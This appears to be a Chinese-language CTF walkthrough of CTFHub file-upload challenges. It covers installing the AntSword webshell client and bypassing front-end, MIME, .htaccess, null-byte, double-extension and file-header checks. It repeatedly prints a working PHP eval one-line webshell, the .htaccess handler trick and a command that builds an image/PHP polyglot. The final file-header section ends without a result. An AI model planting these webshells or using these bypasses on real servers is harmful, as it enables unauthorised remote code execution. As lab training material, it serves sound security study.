无验证
AntSword 下载、安装
https://github.com/AntSwordProject/
- 下载
antsword
和loader
- 解压
AntSword-Loader-v4.0.3-win32-x64.zip
- .exe 初始化,选择空文件
已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码
这个项目文件夹就是你以后需要备份的,存储着你的shell和shell内的资料。
AntSword 使用
- 添加数据
提交一句话木马文件
<?php @eval($_POST["pass"]);?>
蚁剑输入上传文件的网址
http://challenge-224af509a24a7e2e.sandbox.ctfhub.com:10800/upload/test.php
在www文件下找到flag
前端验证
查看源码发现白名单
抓包后改回.php 实现绕过
antsword 获得 shell
http://challenge-9b2312a3d07c655f.sandbox.ctfhub.com:10800/upload/test.php
.htaccess
查看源码发现黑名单
写 .htaccess文件,原理就是解析位php
SetHandler application/x-httpd-php
上传
写一句话木马文件 htaccess.png为后缀
<?php @eval($_POST["pass"]);?>
蚁剑获取shell
http://challenge-083aa66676fca321.sandbox.ctfhub.com:10800/upload/htaccess.png
MIME绕过
上传一句话木马并抓包
<?php @eval($_POST["pass"]);?>
更改content-type
image/jpeg
显示上传成功后用蚁剑进行连接
http://challenge-3b80187a51abd4a5.sandbox.ctfhub.com:10800/upload/test.php
00截断
查看源码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
上传白名单:一句话木马后缀应该在白名单里
gif显示上传成功
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
rand()函数显然是生成了随机数,对文件上传的路径进行了拼接
所以在成功上传后
还是找不到文件路径
依旧无法连接
思路:利用00截断将随机数截断
php版本<5.3.4的网页,在url中%00表示ascll码中的0
,而ascii中0作为特殊字符保留
表示字符串结束,所以当url中出现%00时就会认为读取已结束
更改road截断拼接在后面的随机数
蚁剑连接
http://challenge-405499bc66b666a1.sandbox.ctfhub.com:10800/upload/test.php
双写后缀
原理
源码是黑名单 上传一句话木马.gif
更改后缀pphphp
蚁剑连接
http://challenge-260d53bb296dbbb7.sandbox.ctfhub.com:10800/upload/test.php
文件头检查
一句话图片木马
copy 1.png/b+2.php/a test.php
依然文件错误